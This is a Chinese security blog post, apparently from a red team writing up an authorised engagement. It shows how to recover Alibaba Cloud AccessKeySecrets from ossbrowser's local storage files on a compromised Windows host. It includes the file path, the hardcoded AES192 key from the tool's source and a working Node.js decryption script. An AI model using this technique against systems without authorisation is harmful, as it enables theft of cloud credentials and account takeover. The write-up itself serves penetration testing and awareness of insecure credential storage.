freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

深信服华中天慧战队:某云oss浏览器解密AccessKeySecret
2023-10-11 10:29:06

在某次授权行动中,拿下机器后发现目标上使用过某云的ossbrowser管理工具,在目标上翻了半天也没找到我需要的AccessKeySecret,于是只能从ossbrowser看看能不能找回AccessKeySecret。

1:如果机器上使用ossbrowser登录成功后,即使没有选择保存相关鉴权信息也会在当前用户下\AppData\Roaming\oss-browser目录中保存一些配置文件来达到免登录的效果。

比如:C:\Users\Administrator\AppData\Roaming\oss-browser

取出Local Storage文件夹中的file__0.localstorage文件。

file__0.localstorage为SQLite3的数据库。

auth-info中存放了加密后的数据内容取出备用或者ossbrowser的设置中选择开启调试模式。

也能直接取出auth-info。

2:从https://github.com/aliyun/oss-browser/blob/cb7beea022828bf64d62b768dc758925588d6b28/app/components/services/cipher.js#L25

中查看key和算法。

var ALGORITHM = 'aes192';

var KEY = 'x82m#*lx8vv';

然后安装好nodejs的环境

解密脚本:

const crypto = require('crypto');

const aseDecode = function(data, password) {

const decipher = crypto.createDecipher('aes192', password);

let decrypted = decipher.update(data, 'hex', 'utf-8');

decrypted += decipher.final('utf-8');

return decrypted;

};

const authinfo = "123123123"

console.log(aseDecode(authinfo, "x82m#*lx8vv"));

运行即可解出。

其中id为AccessKeyId,secret为AccessKeySecret    然后你就可以愉快的进行下一步了。

# 阿里云 # 加密解密
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者